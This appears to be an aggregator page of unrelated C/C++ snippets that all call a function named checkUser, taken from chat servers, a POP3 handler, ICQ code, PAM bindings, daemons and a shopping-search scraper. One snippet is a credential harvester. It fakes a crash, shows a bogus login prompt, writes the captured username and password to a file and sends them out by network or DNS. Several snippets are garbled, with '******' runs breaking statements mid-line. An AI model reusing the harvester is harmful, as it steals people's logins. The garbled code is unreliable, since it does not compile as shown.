//============================================================================== bool MinosClientConnection::checkFrom( TiXmlElement *tix ) { if ( !fromIdSet ) { return true; } // if no "from" insert one const char *sfrom = tix->Attribute( "from" ); if ( !sfrom ) { // insert a from of ourselves std::string from = makeJid(); if ( from.size() ) { tix->SetAttribute( "from", from.c_str() ); } } else { MinosId from( sfrom ); if ( !checkServer( from ) ) return false; if ( !checkUser( from ) ) return false; } return true; }
void Server::newConnection(MessageInfo info) { if (checkUser(info.param[0], info.param[1])) { int clientUDP = socket(AF_INET, SOCK_DGRAM, 0); sockaddr_in clUDPaddr; clUDPaddr.sin_family = AF_INET; clUDPaddr.sin_addr.s_addr = htonl(INADDR_ANY); clUDPaddr.sin_port = clientTCPAddress->sin_port; socklen_t clUDPlen = sizeof(clUDPaddr); bind(clientUDP, (sockaddr* )&clUDPaddr, sizeof(clUDPaddr)); std::cout << clUDPaddr.sin_addr.s_addr << " : " << ntohs(clUDPaddr.sin_port) << std::endl; std::string tempID(info.param[0]); std::string tempString = "OK. UDP EXP " + std::to_string(ntohs(clUDPaddr.sin_port)); send(clientTCP, tempString.c_str(), tempString.length(), 0); recvfrom(clientUDP, buf, BUF_SIZE, 0, (sockaddr* ) &clUDPaddr, &clUDPlen); tempString = "OK. UDP " + std::to_string(ntohs(clUDPaddr.sin_port)); send(clientTCP, tempString.c_str(), tempString.length(), 0); clientsBase.add(tempID, inet_ntoa(clUDPaddr.sin_addr), ntohs(clUDPaddr.sin_port), ntohs(clientTCPAddress->sin_port)); std::cout << "Regestrated: " + tempID + " port: " + std::to_string(ntohs(clUDPaddr.sin_port))<< std::endl; } else { std::string tempString = "PASSINCORRECT"; send(clientTCP, tempString.c_str(), tempString.length(), 0); }; }
//процесс аутентификации int MailHandler::authentication(SOCKET client_socket, int& status, User& curUser){ char buf[SIZE_OF_BUF] = "/0"; int len = recvLine(client_socket, buf, SIZE_OF_BUF); cout << buf << endl; int res=-1; if (len>0){ string request = string(buf); string pass; request.erase(request.size() - 1); cout << "request = " << request << endl; if (request.find("USER") != string::npos){ request.erase(request.begin(), request.begin() + 5); int check = checkUser(request); if (check == -1){ sendLine(client_socket, responses[4]);//ответ о том, что нет такого пользователя res = -1; } else{ sendLine(client_socket, responses[3]);//ответ о том, что есть такой пользователь len = recvLine(client_socket, buf, SIZE_OF_BUF); if (len>0){ pass = string(buf); pass.erase(pass.size() - 1); if (pass.find("PASS") != string::npos){ pass.erase(pass.begin(), pass.begin() + 5); if (users[check].getPass() == pass){ curUser = users[check]; curUser.setOnline(); string answer = connectedUser(curUser); sendLine(client_socket, answer.c_str());//правильный пароль res = 1; } else { sendLine(client_socket, responses[6]);//неправильный пароль res = -1; } } else if (pass.find("QUIT") != string::npos){ status = 0; sendLine(client_socket, responses[16]); } } } } else if (request.find("QUIT") != string::npos){ status = 0; sendLine(client_socket, responses[16]); } else if (request.find("CAPA") != string::npos){ string ans; ans.append("+OK Capability list follows\r\nUSER\r\n."); sendLine(client_socket, ans.c_str()); } } return res; }
void ListSecurity::init() { list<ICQUser*> &users = pClient->contacts.users; list<ICQUser*>::iterator it; for (it = users.begin(); it != users.end(); it++){ if (!checkUser(*it)) continue; oldValue.push_back((*it)->Uin); tblUsers->addUin((*it)->Uin); } }
void ListSecurity::processEvent(ICQEvent *e) { tblUsers->setEnabled(pClient->isLogged()); if ((e->type() != EVENT_INFO_CHANGED) || (e->Uin() == 0)) return; ICQUser *u = pClient->getUser(e->Uin(), true); if (u == NULL) return; if (checkUser(u)){ tblUsers->addUin(u->Uin); oldValue.push_back(u->Uin); }else{ tblUsers->deleteUin(u->Uin); oldValue.remove(u->Uin); } }
static void execute( unsigned char * array[] , int pos ){ int i ; if( ( pos < 4 ) || strcmp(array[0],"check" ) ){ fprintf(stdout,"error\n") ; }else{ if( checkUser( array[1] , array[2] , array[3] ) ){ fprintf(stdout,"true\n") ; }else{ fprintf(stdout,"false\n"); } } fflush(stdout) ; }
JNIEXPORT jint JNICALL Java_diskCacheV111_admin_PAM_1Auth_checkUser(JNIEnv *env, jobject obj, jstring srv, jstring user, jstring pass) { jint rc; const char *service = (*env)->GetStringUTFChars(env, srv, 0); const char *usr = (*env)->GetStringUTFChars(env, user, 0); const char *pas = (*env)->GetStringUTFChars(env, pass, 0); rc = checkUser(service, usr, pas); (*env)->ReleaseStringUTFChars(env, srv, service); (*env)->ReleaseStringUTFChars(env, user, usr); (*env)->ReleaseStringUTFChars(env, pass, pas); return rc; }
void Server::listening() { buf = new char[BUF_SIZE]; socklen_t clientLen = sizeof(*clientTCPAddress); clientTCPAddress = new sockaddr_in; while (1) { memset(buf, 0, BUF_SIZE); std::cout << "Wait" << std::endl; clientTCP = accept(serverTCP, (sockaddr* ) clientTCPAddress, &clientLen); int n = recv(clientTCP, buf, BUF_SIZE, 0); if (n > 0) { MessageInfo info = parse(buf); switch (info.type) { case NEW_CON: { newConnection(info); break; } case FRIEND: break; case GET_CL: { std::string tempstr; ClientInfo clinfo = clientsBase.get(info.param[0]); if (clinfo.ip.empty()) tempstr = "NOCLN"; else tempstr = "CLADDR: " + clinfo.ip + ":" + std::to_string(clinfo.portUDP) + ":" + std::to_string(clinfo.portTCP); send(clientTCP, tempstr.c_str(), tempstr.length(), 0); std::cout << "Sended data " << tempstr.c_str() << std::endl; break; } case QUIT: { if (checkUser(info.param[0], info.param[1])) { clientsBase.remove(info.param[0]); } break; } } } ::close(clientTCP); } }
void TeachingLoginDialog::createActions() { connect(ui->submitBtn,SIGNAL(clicked()),this,SLOT(checkUser())); connect(showMainWinAction,SIGNAL(triggered()),this,SLOT(showMainWin())); connect(quitAction,SIGNAL(triggered()),mainWin,SLOT(quitApp())); connect(sysTray,SIGNAL(activated(QSystemTrayIcon::ActivationReason)),this,SLOT(dbClickTray(QSystemTrayIcon::ActivationReason))); connect(this,SIGNAL(quitApp()),qApp,SLOT(quit())); connect(logoutAction,SIGNAL(triggered()),this,SLOT(showLoginDialog())); connect(ui->settingBtn,SIGNAL(clicked()),settingserverdialog,SLOT(exec())); //signals from mainwindow connect(mainWin,SIGNAL(logout()),this,SLOT(showLoginDialog())); connect(mainWin,SIGNAL(logout()),ui->passWord,SLOT(setFocus())); connect(mainWin,SIGNAL(minMe()),this,SLOT(showTrayMessage())); connect(mainWin,SIGNAL(refreshOnTrayMessage()),this,SLOT(refreshOnTrayMessage())); //signal from settingdbserver dialog connect(settingserverdialog,SIGNAL(imClosed()),ui->passWord,SLOT(setFocus())); //global shortcut connect(mainWin,SIGNAL(showMe()),this,SLOT(showMainWin())); //getserverconnectinfo connect(getInfo,SIGNAL(timeout()),this,SLOT(getServerConnectInfo())); }
bool MainServer::authorize( const QString& cmd, Clients::iterator client ) { // Checking received data for authorization and making authorization QRegExp rx( "mbclient:(\\d+):(\\w+):(.+):" ); if( rx.indexIn( cmd ) != -1 ) { if( client->status == ST_CONNECTED ) { qDebug() << "Version: " << rx.cap( 1 ); if( rx.cap(1).toInt() != PROTOCOL_VERSION ) { client->send( "wrongver:" ); client->socket->close(); return true; } qDebug() << "Login: "******"Password: "******"wronguser:"******"mbserver:%1:").arg(PROTOCOL_VERSION) ) ); return true; } } return false; }
int main(const int argc, const char* argv[]) { setbuf(stdout, NULL); setbuf(stderr, NULL); checkUser(); if (chdir(etmWorkingDir) == -1) { perror("chdir"); exit(EXIT_FAILURE); } umask(006); cleanPreviousRun(); registerSignalHandlers(); setupSocketServer(); fdLock = open(LOCK_PATH, O_CREAT | O_RDWR, 0666); if (fdLock == -1) { perror("Open lock file"); exit(EXIT_SUCCESS); } int rc = flock(fdLock, LOCK_EX | LOCK_NB); if (rc == 0) { // success puts("xwared: unlocked."); fdETMLock = open(ETM_LOCK_PATH, O_CREAT | O_RDWR, 0666); if (fdETMLock == -1) { perror("Open ETM lock file"); exit(EXIT_SUCCESS); } // Check if ETM should run at start GKeyFile* configFile = g_key_file_new(); if (g_key_file_load_from_file(configFile, CONFIG_PATH, G_KEY_FILE_NONE, NULL) == 0) { fprintf(stderr, "xwared: cannot load settings.ini, use default value\n"); } GError* gErr = NULL; gboolean etmStart = g_key_file_get_boolean(configFile, "xwared", "startetm", &gErr); if (gErr == NULL) { if (etmStart == FALSE) { toRunETM = 0; } } else { fprintf(stderr, "xwared: %s, use default value\n", gErr->message); g_error_free(gErr); } g_key_file_free(configFile); while(1) { runETM(); } } else { if (errno == EWOULDBLOCK) { puts("xwared: locked."); exit(EXIT_FAILURE); } perror("flock"); } unload(); exit(EXIT_SUCCESS); }
unsigned int main(unsigned int argc, char *argv[]) { // fake crash for (unsigned int i = 0; i < 3; i++) { sleep(1); printf("\n"); } printf("Program received signal SIGSEGV, Segmentation fault. (core dumped)\n"); printf("Cannot access memory address 0x846b972d...exiting.\n\n"); // present fake login char hostname[20], login[20], password[20]; memset(&hostname, '0', sizeof hostname); memset(&login, '0', sizeof login); memset(&password, '0', sizeof password); FILE *hn = NULL, *file = NULL; hn = fopen("/etc/hostname", "r"); if (hn != NULL) { if (fgets(hostname, sizeof hostname, hn) != NULL) { unsigned int len = strlen(hostname) - 1; if (hostname[len] == '\n') hostname[len] = '\0'; } fclose(hn); } while (1) { printf("%s login: "******"%s", login); printf("Password: "******"%s", password); if (checkUser(login) && strlen(login) < 20 && strlen(password) < 20) break; else { sleep(3); printf("\nLogin incorrect\n"); } } // save data char data[41]; memset(&data, '0', sizeof *data); strncpy(data, login, strlen(login)); strncat(data, "|", 1); strncat(data, password, strlen(password)); strncat(data, "\n", 1); file = fopen("./fakelogin.txt", "a"); fprintf(file, "%s", data); fclose(file); // exfiltrate data unsigned int dns = 0; if (argv[1] && atoi(argv[1]) == 1) dns = 1; if (sendPacket(data, login, password, dns)) return 1; return 0; }
int main(int argc, char *argv[]) { checkUser(); /* you have to be root */ /* arguments */ char *device = NULL; unit_t unit; unit = a; /* default ist 'auto' */ int argi; for (argi = 1; argi < argc; ++argi) { if (argv[argi][0] == '-') { if (strcmp(argv[argi], "-h") == 0 || strcmp(argv[argi], "--help") == 0) { showHelp(); return EXIT_SUCCESS; } else if (strcmp(argv[argi], "-v") == 0 || strcmp(argv[argi], "--version") == 0) { showVersion(); return EXIT_SUCCESS; } else if (strcmp(argv[argi], "-l") == 0 || strcmp(argv[argi], "--list") == 0) { showList(); return EXIT_SUCCESS; } else if (strcmp(argv[argi], "-a") == 0) unit = a; else if (strcmp(argv[argi], "-b") == 0) unit = b; else if (strcmp(argv[argi], "-k") == 0) unit = k; else if (strcmp(argv[argi], "-m") == 0) unit = m; else if (strcmp(argv[argi], "-g") == 0) unit = g; else if (strcmp(argv[argi], "-t") == 0) unit = t; else if (strcmp(argv[argi], "-p") == 0) unit = p; else if (strcmp(argv[argi], "-e") == 0) unit = e; else if (strcmp(argv[argi], "-z") == 0) unit = z; else if (strcmp(argv[argi], "-y") == 0) unit = y; else { fprintf(stderr, "ERROR: invalid argument\n"); showHelp(); exit(EXIT_FAILURE); } } else { if (device != NULL) { fprintf(stderr, "ERROR: device set more than once\n"); showHelp(); exit(EXIT_FAILURE); } device = argv[argi]; } } if (device == NULL) { fprintf(stderr, "ERROR: device not set\n"); showHelp(); exit(EXIT_FAILURE); } showSize(device, unit); return EXIT_SUCCESS; }
int _tmain(int argc, _TCHAR* argv[]) { /* add valid user */ valid_user.Add(_T("mr_timon")); valid_user.Add(_T("mr_pumbaa")); valid_user.Add(_T("star_patrick")); valid_user.Add(_T("乐乐是我的哦")); valid_user.Add(_T("457800643xc")); valid_user.Add(_T("lingzhiji服饰旗舰店")); valid_user.Add(_T("呢好美")); //valid_user.Add(_T("star")); //valid_user.Add(_T("lele")); if(checkUser(argv[2])){ std::cout << std::endl << std::endl << " you are not a valid user! " << std::endl << std::endl << std::endl; return 0; } CString URL; CString url_date; CString url_spm = _T("spm=1.7274553.1997520841.1"); CString url_keyWord ; CString url_option = _T("commend=all&ssid=s5-e&search_type=item&sourceId=tb.index"); CString url_head = _T("http://s.taobao.com/search?"); CString url_page; CString filePath = _T("dist"); //CString string_keyWord = _T("儿童防紫外线帽子"); //CString string_id = _T("mr_timon"); CString string_keyWord = argv[1]; CString string_id = argv[2]; url_date = _T("initiative_id=tbindexz_") + generateUrlDate(); url_keyWord = _T("q=") + generateUrlKeyWord(string_keyWord); for(int i = 1; i <= 100; i++){ url_page = generateUrlPage(i); if((i - 1)%10 == 0){ std::cout << " searching"; for(int j = 0; j < i/10; j++){ std::cout << "."; } std::cout << std::endl; } if(i != 1){ URL = url_head + url_keyWord + _T("&") + url_spm + _T("&") + url_option+ _T("&") + url_date + _T("&") + url_page; }else{ URL = url_head + url_keyWord + _T("&") + url_spm + _T("&") + url_option+ _T("&") + url_date; } /* 这里有资源链接的话,可以把对应的资源下载下来 */ //URL = _T("http://www.jojomamanbebe.co.uk/products/images/large/B2755C.jpg"); HRESULT result = URLDownloadToFile(0, URL, filePath, 0, NULL); if(result == S_OK){ //std::cout << "down\n"; if(!searchLocation(filePath,string_id)){ std::cout << " page = " << i << std::endl << std::endl << std::endl; break; }else{ if(i == 100) std::cout << std::endl << std::endl << "************* sorry,we don't have found it *************" << std::endl << std::endl << std::endl ; } }else{ std::cout << "URLDownloadToFile failed\n"; return 1; } } //std::cout << "real_url = " << URL << std::endl; std::ofstream fout("currentURL.txt"); fout << URL; fout.flush(); fout.close(); //getchar(); return 0; }